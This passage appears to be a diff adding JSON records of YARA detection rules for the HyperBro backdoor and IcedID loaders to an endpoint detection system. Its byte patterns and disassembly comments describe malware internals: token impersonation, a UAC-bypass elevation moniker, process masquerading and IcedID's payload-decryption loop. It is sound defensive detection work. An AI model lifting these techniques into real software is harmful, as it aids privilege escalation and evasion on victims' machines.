+  "hl_testing_start_time": "2026-03-23T11:46:25.574744Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0398/\nhttps://www.intrinsec.com/apt27-analysis/"
+  ],
+  "name": "hyperbro_backdoor_stage3_november_2021_campaign.yar",
+  "content": "rule hyperbro_backdoor_b45ff27fe87c {\n    meta:\n        title = \"APT27 HyperBro Backdoor (b45ff27fe87c)\"\n        id = \"0bb79ee0-5b1f-4dd3-9317-b45ff27fe87c\"\n        description = \"Detects HyperBro stage 3 related to the November 2021 campaign, a custom in-memory RAT backdoor used by APT27 and associated groups.\\nHyperBro is a sophisticated malware that enables remote command execution from a C2 server.\\nIt includes features such as screenshot capture, clipboard theft, Windows service modification, registry editing, and file manipulation.\\nIt is recommended to isolate the affected system and analyze network traffic for potential C2 communication.\"\n        references = \"https://attack.mitre.org/software/S0398/\\nhttps://www.intrinsec.com/apt27-analysis/\"\n        date = \"2022-10-24\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1574.002;attack.defense_evasion;attack.t1055;attack.t1027;attack.t1140;attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Malware.Hyperbro\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 083800e8eaaeb8a4bb413b685477d43a295907dc5f2ef5e35886519cc3f1ef92\n\n        $token_impersonation = {\n            FF 15 ?? ?? ?? ??                            // call    ds:SetTokenInformation ; Token Impersonation\n            85 C0                                        // test    eax, eax\n            0F 84 ?? ?? ?? ??                            // jz      loc_10010925\n            8D 45 ??                                     // lea     eax, [ebp+NewTokenHandle]\n            C7 45 ?? 00 00 00 00                         // mov     [ebp+NewTokenHandle], 0\n            50                                           // push    eax             ; NewTokenHandle\n            6A 00                                        // push    0               ; SidsToRestrict\n            6A 00                                        // push    0               ; RestrictedSidCount\n            6A 00                                        // push    0               ; PrivilegesToDelete\n            6A 00                                        // push    0               ; DeletePrivilegeCount\n            6A 00                                        // push    0               ; SidsToDisable\n            6A 00                                        // push    0               ; DisableSidCount\n            6A 04                                        // push    4               ; Flags\n            FF 75 ??                                     // push    [ebp+phNewToken] ; ExistingTokenHandle\n            FF 15 ?? ?? ?? ??                            // call    ds:CreateRestrictedToken\n            85 C0                                        // test    eax, eax\n            0F 84 ?? ?? ?? ??                            // jz      loc_10010925\n            8D 45 ??                                     // lea     eax, [ebp+phNewToken]\n            50                                           // push    eax             ; phNewToken\n            6A 02                                        // push    2               ; TokenType\n            6A 02                                        // push    2               ; ImpersonationLevel\n            6A 00                                        // push    0               ; lpTokenAttributes\n            6A 0C                                        // push    0Ch             ; dwDesiredAccess\n            FF 75 ??                                     // push    [ebp+NewTokenHandle] ; hExistingToken\n            FF D6                                        // call    esi ; DuplicateTokenEx\n            85 C0                                        // test    eax, eax\n            0F 84 ?? ?? ?? ??                            // jz      loc_????????\n            FF 75 ??                                     // push    [ebp+phNewToken] ; hToken\n            FF 15 ?? ?? ?? ??                            // call    ds:ImpersonateLoggedOnUser\n        }\n\n        // UAC bypass exploiting the ICMLuaUtil\n        $uac_bypass_1 = \"{6EDD6D74-C007-4E75-B76A-E5740995E24C}\" wide // cmlua.dll\n        $uac_bypass_2 = \"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-906\" wide // cmstplua.dll\n        $uac_bypass_3 = \"3-A120244FBEC7}\" wide\n\n        $masquerading_string_1 = \"wermgr.exe\" wide\n        $masquerading_string_2 = \"-k networkservice\" wide\n\n        $proc_masquerading = {\n            68 ?? ?? ?? ??                               // push    offset aWermgrExe ; \"wermgr.exe\"\n            8D 4D ??                                     // lea     ecx, [ebp+TokenHandle]\n            E8 ?? ?? ?? ??                               // call    sub_100057E0\n            68 ?? ?? ?? ??                               // push    offset aKNetworkservic ; \" -k networkservice\"\n            8D 4D ??                                     // lea     ecx, [ebp+TokenHandle]\n            E8 ?? ?? ?? ??                               // call    sub_100057E0\n            6A 00                                        // push    0               ; bInherit\n            56                                           // push    esi             ; hToken\n            8D ?? ??                                     // lea     eax, [ebp+Environment]\n            C7 ?? ?? 00 00 00 00                         // mov     [ebp+Environment], 0\n            50                                           // push    eax             ; lpEnvironment\n            FF 15 ?? ?? ?? ??                            // call    ds:CreateEnvironmentBlock\n            8D ?? ??                                     // lea     eax, [ebp+ProcessInformation]\n            50                                           // push    eax             ; lpProcessInformation\n            8D ?? ?? ?? ?? ??                            // lea     eax, [ebp+StartupInfo]\n            50                                           // push    eax             ; lpStartupInfo\n            6A 00                                        // push    0               ; lpCurrentDirectory\n            FF ?? ??                                     // push    [ebp+Environment] ; lpEnvironment\n            68 04 04 00 01                               // push    1000404h        ; dwCreationFlags\n            6A 00                                        // push    0               ; bInheritHandles\n            6A 00                                        // push    0               ; lpThreadAttributes\n            6A 00                                        // push    0               ; lpProcessAttributes\n            FF ?? ??                                     // push    [ebp+TokenHandle] ; lpCommandLine\n            6A 00                                        // push    0               ; lpApplicationName\n            56                                           // push    esi             ; hToken\n            FF 15 ?? ?? ?? ??                            // call    ds:CreateProcessAsUserW\n        }\n\n    condition:\n        $token_impersonation\n        or (all of ($uac_bypass_*))\n        or (all of ($masquerading_string_*) and $proc_masquerading)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hyperbro_backdoor_b45ff27fe87c"
+  ],
+  "rule_creation_date": "2022-10-24",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.Hyperbro"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1071.001",
+    "attack.t1027",
+    "attack.t1055",
+    "attack.t1574.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-icedid_gzip_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584139Z",
+  "creation_date": "2026-03-23T11:46:25.584142Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584150Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0483/\nhttps://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240"
+  ],
+  "name": "icedid_gzip_loader.yar",
+  "content": "rule icedid_gzip_loader {\n    meta:\n        title = \"IcedID GZIP Loader\"\n        id = \"f5ea711a-bb93-4cd2-9eef-b2e71be90d3c\"\n        description = \"Detects the IcedID GZIP loader.\\nIcedID is a modular banking malware designed to steal financial information. It has been active since at least 2017 and is often delivered via phishing emails.\\nThis loader executes via rundll32.exe and performs initial reconnaissance, system fingerprinting, and communication with the C&C server.\\nIt is recommended to monitor for any suspicious network activity related to known C&C domains.\"\n        references = \"https://attack.mitre.org/software/S0483/\\nhttps://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240\"\n        date = \"2023-01-20\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1218.011;attack.t1017.002;attack.initial_access;attack.t1566.001;attack.discovery;attack.t1082;attack.s0483\"\n        classification = \"Windows.Trojan.IcedID\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples :\n        // c2e3097e2de547d70f1d4543b51fdb0c016a066646e7d51b74ca4f29c69f5a85\n        // 5086374cc908c1858031c0ed13de99e3916971bb1bf4dc6e5fd73393c8e3f9b8\n        // a7cdd68a2203782035dcb4ce08b9d7719d81575cb29739415f3d3fce25c89fae\n        // d2986a18991c306e9ad665b42df0fb39296b1cba644cdcef89fb35c2f95ebcca\n        // d8d914d2a7e074e12b6087f16dbbb2bba6b78c676354c2fa48ae3eaf15129d76\n\n        $s1 = \"loader_dll_64.dll\" fullword ascii\n        $s2 = \"GetNativeSystemInfo\" fullword ascii\n        $s3 = \"Cookie: _s=\" fullword wide\n        $s4 = \"Cookie: __gads=\" fullword wide\n        $s5 = \"GetComputerNameEWinHttpSetStatus0123456789ABCDEF\" fullword ascii\n        $s6 = \"LookupAccountNamGetModuleFileNamOutputDebugStrinZwQuerySystemInfGetNativeSystemIWideCharToMultiBRegQueryValueExAc:\\\\ProgramData\\\\\" fullword ascii\n        $s7 = \"WinHttpQueryDataWinHttpSetOptionGetAdaptersInfo\" fullword ascii\n\n    condition:\n        4 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "icedid_gzip_loader"
+  ],
+  "rule_creation_date": "2023-01-20",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.IcedID"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1017.002",
+    "attack.t1218.011",
+    "attack.t1566.001",
+    "attack.t1082"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-icedid_loader_745d28bf2539_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584215Z",
+  "creation_date": "2026-03-23T11:46:25.584217Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584223Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0483/\nhttps://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2023-11-27-IOCs-for-TA577-pushing-IcedID-variant.txt"
+  ],
+  "name": "icedid_loader_745d28bf2539.yar",
+  "content": "rule icedid_loader_745d28bf2539 {\n    meta:\n        title = \"IcedID Loader (745d28bf2539)\"\n        id = \"a9acfca3-2526-47b2-a1bd-745d28bf2539\"\n        description = \"Detects malicious DLLs related to IcedID Loader.\\nIcedID is a modular banking malware designed to steal financial information. It has been active since at least 2017 and is commonly delivered via phishing emails.\\nThis specific loader variant is executed via rundll32.exe and is responsible for initial system reconnaissance, fingerprinting, and communication with the command-and-control (C&C) server.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://attack.mitre.org/software/S0483/\\nhttps://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2023-11-27-IOCs-for-TA577-pushing-IcedID-variant.txt\"\n        date = \"2023-11-29\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1218.011;attack.t1017.002;attack.initial_access;attack.t1566.001;attack.discovery;attack.t1082;attack.s0483\"\n        classification = \"Windows.Trojan.IcedID\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // e99f3517a36a9f7a55335699cfb4d84d08b042d47146119156f7f3bab580b4d7\n\n        $s1 = \"&systeminfo=\" fullword ascii\n        $s2 = \"&domain_trusts_all=\" fullword ascii\n        $s3 = \"&net_wmic_av=\" fullword ascii\n        $s4 = \"\\\"subproc\\\": [\" fullword ascii\n        $s5 = \"&desklinks=[\" fullword ascii\n        $s6 = \"Update_%x\" fullword wide\n        $s7 = \"Custom_update\" fullword wide\n\n        // FNV1A32 hashing algorithms\n        // https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240\n        // https://www.group-ib.com/blog/icedid/\n        $fnv1 = { C5 9D 1C 81 }\n        $fnv2 = { 93 01 00 01 }\n\n    condition:\n        5 of ($s*) and all of ($fnv*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "icedid_loader_745d28bf2539"
+  ],
+  "rule_creation_date": "2023-11-29",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.IcedID"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1017.002",
+    "attack.t1218.011",
+    "attack.t1566.001",
+    "attack.t1082"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-icedid_loader_stage_1_march_2021_campaign_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584185Z",
+  "creation_date": "2026-03-23T11:46:25.584188Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584193Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid\nhttps://attack.mitre.org/software/S0483/"
+  ],
+  "name": "icedid_loader_stage_1_march_2021_campaign.yar",
+  "content": "rule icedid_loader_stage_1_march_2021_campaign {\n    meta:\n        title = \"IcedID Loader Stage 1\"\n        id = \"17dd3136-a212-4ef7-9455-83752fbda7be\"\n        description = \"Detects the IcedID loader stage 1 in memory related to the March 2021 Campaign.\\nIcedID is a modular banking malware designed to steal financial information. It has been observed in the wild since at least 2017 and is often delivered via phishing emails.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid\\nhttps://attack.mitre.org/software/S0483/\"\n        date = \"2021-03-31\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1218.011;attack.t1017.002;attack.initial_access;attack.t1566.001;attack.discovery;attack.t1082;attack.s0483\"\n        classification = \"Windows.Trojan.IcedID\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        $inline_array_1 = {\n            C6 45 ?? 40                             // mov     [rbp+arg_8], 40h ; '@'\n            C6 45 ?? 69                             // mov     [rbp+arg_8+1], 69h ; 'i'\n            C6 45 ?? 13                             // mov     [rbp+arg_8+2], 13h\n            C6 45 ?? 57                             // mov     [rbp+arg_8+3], 57h ; 'W'\n            8A 45 ??                                // mov     al, [rbp+arg_8]\n            C6 45 ?? 00                             // mov     [rbp+arg_8+4], 0\n            C6 45 ?? 0F                             // mov     [rbp+str], 0Fh\n            C6 45 ?? 7A                             // mov     [rbp+str+1], 7Ah ; 'z'\n            C6 45 ?? 66                             // mov     [rbp+str+2], 66h ; 'f'\n            C6 45 ?? 52                             // mov     [rbp+str+3], 52h ; 'R'\n            C6 45 ?? 3E                             // mov     [rbp+str+4], 3Eh ; '>'\n            C6 45 ?? 6A                             // mov     [rbp+str+5], 6Ah ; 'j'\n            8A 45 ??                                // mov     al, [rbp+str]\n            C6 45 ?? 00                             // mov     [rbp+str+6], 0\n        }\n\n        $inline_array_2 = {\n            C6 45 ?? 24                             //mov     [rbp+str2], 24h ; '$'\n            C6 45 ?? 4D                             //mov     [rbp+str2+1], 4Dh ; 'M'\n            C6 45 ?? 05                             //mov     [rbp+str2+2], 5\n            C6 45 ?? 59                             //mov     [rbp+str2+3], 59h ; 'Y'\n            44 88 ?5 ??                             //mov     [rbp+str2+4], r12b\n            C6 45 ?? 36                             //mov     [rbp+str2+5], 36h ; '6'\n            8A 45 ??                                //mov     al, [rbp+str2]\n            C6 45 ?? 00                             //mov     [rbp+str2+6], 0\n        }\n\n        $inline_array_3 = {\n            C6 45 ?? 0E                             // mov     [rbp+arg_8], 0Eh\n            C6 45 ?? 3C                             // mov     [rbp+arg_9], 3Ch ; '<'\n            C6 45 ?? 12                             // mov     [rbp+arg_A], 12h\n            C6 45 ?? 47                             // mov     [rbp+arg_B], 47h ; 'G'\n            C6 45 ?? 4A                             // mov     [rbp+arg_B+1], 4Ah ; 'J'\n            C6 45 ?? 55                             // mov     [rbp+arg_B+2], 55h ; 'U'\n            C6 45 ?? 31                             // mov     [rbp+arg_B+3], 31h ; '1'\n            8A 45 ??                                // mov     al, [rbp+arg_8]\n            C6 45 ?? 00                             // mov     [rbp+arg_B+4], 0\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "icedid_loader_stage_1_march_2021_campaign"
+  ],
+  "rule_creation_date": "2021-03-31",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.IcedID"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1017.002",
+    "attack.t1218.011",
+    "attack.t1566.001",
+    "attack.t1082"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-icedid_loader_stage_2_march_2021_campaign_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584094Z",
+  "creation_date": "2026-03-23T11:46:25.584096Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584102Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid\nhttps://attack.mitre.org/software/S0483/"
+  ],
+  "name": "icedid_loader_stage_2_march_2021_campaign.yar",
+  "content": "rule icedid_loader_stage_2_march_2021_campaign {\n    meta:\n        title = \"IcedID Loader Stage 2\"\n        id = \"f2828561-e642-43cb-9de0-3adb2dfa5a5c\"\n        description = \"Detects the IcedID loader stage 2 in memory related to the March 2021 Campaign.\\nIcedID is a modular banking malware designed to steal financial information. It has been observed in the wild since at least 2017 and is often delivered via phishing emails.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid\\nhttps://attack.mitre.org/software/S0483/\"\n        date = \"2021-03-31\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1218.011;attack.t1017.002;attack.initial_access;attack.t1566.001;attack.discovery;attack.t1082;attack.s0483\"\n        classification = \"Windows.Trojan.IcedID\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // This payload use those APIs for \"icedid_loader_parse_command_line\"\n        $api_used_s1 = \"GetCommandLineA\" ascii\n        $api_used_s2 = \"StrStrIA\" ascii\n        $api_used_s3 = \"SHGetFolderPathA\" ascii\n        $api_used_s4 = \"lstrcatA\" ascii\n        $api_used_s5 = \"lstrcpyA\" ascii\n        $api_used_s6 = \"StrChrA\" ascii\n\n        // This payload use those APIs to load decrypted payload\n        $api_used_s7 = \"VirtualAlloc\" ascii\n        $api_used_s8 = \"VirtualProtect\" ascii\n\n        // Strings used by \"icedid_loader_parse_command_line\"\n        $clear_string_s1 = \"c:\\\\ProgramData\\\\\" ascii\n\n        // NOTE: Attackers may change this easially so this is too fragile.\n        // $clear_string_s2 = \"/i:\\\"\" ascii\n\n        // The command line parser.\n        $icedid_loader_parse_command_line = {\n            48 8B F2                   // mov rsi, rdx\n            48 8B D9                   // mov rbx, rcx\n            FF 15 ?? ?? ?? ??          // call dword ptr [rip + 0xXX] // GetCommandLineA\n            48 85 C0                   // test rax, rax\n            75 04                      // jne get_command_line_success\n                                        // error_out:\n            33 C0                      // xor eax, eax\n            EB ??                      // jmp return\n                                        // get_command_line_success:\n            48 8D 15 ?? ?? ?? ??       // lea rdx, [rip + 0xXX] // \"/i:\\\"\"\n            48 8B C8                   //\n            FF 15 ?? ?? ?? ??          // call dword ptr [rip + 0xXX] // StrStrIA\n            48 8B F8                   // mov rdi, rax\n            48 85 C0                   // test rax, rax\n            74 E4                      // je error_out\n            45 33 C9                   // xor r9d, r9d // dwFlags\n            48 89 5C 24 ??             // mov qword ptr [rsp + ??], rbx // pszPath\n            45 33 C0                   // xor r8d, r8d // hToken\n            33 C9                      // xor ecx, ecx // hwnd\n            41 8D 51 1A                // lea edx, [r9 + 0x1a] // csidl = APPDATA\n            FF 15 ?? ?? ?? ??          // call dword ptr [rip + 0xXX] // SHGetFolderPathA\n            48 8B CB                   // mov rcx, rbx\n            48 8D 15 ?? ?? ?? ??       // lea rdx, [rip + 0xXX] // \"c:\\\\ProgramData\\\\\"\n            85 C0                      // test eax, eax\n            75 07                      // jnz compute_path\n            48 8D 15 ?? ?? ?? ??       // lea rdx, [rip + 0xXX] // \"\\\\\"\n                                        // compute_path:\n            FF 15 ?? ?? ?? ??          // call dword ptr [rip + 0xXX] // lstrcatA\n            48 8D 57 04                // lea rdx, [rdi + 4] // 4 = strlen(\"/i:\\\"\")\n            48 8B CE                   // mov rcx, rsi\n            FF 15 ?? ?? ?? ??          // call dword ptr [rip + 0xXX] // lstrcpyA\n            BA 22 00 00 00             // mov edx, 0x22 // '\"'\n            48 8B CE                   // mov rcx, rsi\n            FF 15 ?? ?? ?? ??          // call dword ptr [rip + 0xXX] // StrChrA\n            48 85 C0                   // test rax, rax\n            74 03                      // je success_out\n            C6 00 00                   // mov byte ptr [rax], 0\n                                        // success_out:\n            48 8B D6                   // mov rdx, rsi\n            48 8B CB                   // mov rcx, rbx\n            FF 15 ?? ?? ?? ??          // call dword ptr [rip + 0xXX] // lstrcatA\n            B8 01 00 00 00             // mov eax, 1\n        }\n\n        // The decryption algorithm used to decrypt IcedID.\n        $icedid_loader_decrypt_next_payload = {\n                             // icedid_main_decrypt_payload_loop:\n            41 0F B6 D3      // movzx edx, r11b\n            44 8D 42 01      // lea r8d, [rdx + 1]\n            83 E2 03         // and edx, 3\n            41 83 E0 03      // and r8d, 3\n            42 8A 44 84 ??   // mov al, byte ptr [rsp + r8*4 + 0xXX]\n            02 44 94 ??      // add al, byte ptr [rsp + rdx*4 + 0xXX]\n            43 32 04 33      // xor al, byte ptr [r11 + r14]\n            42 8B 4C 84 ??   // mov ecx, dword ptr [rsp + r8*4 + 0xXX]\n            41 88 04 1B      // mov byte ptr [r11 + rbx], al\n            83 E1 07         // and ecx, 7\n            8B 44 94 ??      // mov eax, dword ptr [rsp + rdx*4 + 0xXX]\n            49 FF C3         // inc r11\n            D3 C8            // ror eax, cl\n            FF C0            // inc eax\n            89 44 94 ??      // mov dword ptr [rsp + rdx*4 + 0xXX], eax\n            83 E0 07         // and eax, 7\n            8A C8            // mov cl, al\n            42 8B 44 84 ??   // mov eax, dword ptr [rsp + r8*4 + 0xXX]\n            D3 C8            // ror eax, cl\n            FF C0            // inc eax\n            42 89 44 84 ??   // mov dword ptr [rsp + r8*4 + 0xXX], eax\n            48 8B 5C 24 28   // mov rbx, qword ptr [rsp + 0x28]\n            4C 3B 5C 24 30   // cmp r11, qword ptr [rsp + 0x30]\n            73 07            // jae icedid_main_decrypt_payload_done\n            4C 8B 74 24 20   // mov r14, qword ptr [rsp + 0x20]\n            EB A3            // jmp icedid_main_decrypt_payload_loop\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "icedid_loader_stage_2_march_2021_campaign"
+  ],
+  "rule_creation_date": "2021-03-31",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.IcedID"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1017.002",
+    "attack.t1218.011",
+    "attack.t1566.001",
+    "attack.t1082"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-icedid_loader_stage_3_march_2021_campaign_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584064Z",
+  "creation_date": "2026-03-23T11:46:25.584066Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584072Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid\nhttps://attack.mitre.org/software/S0483/"
+  ],
+  "name": "icedid_loader_stage_3_march_2021_campaign.yar",
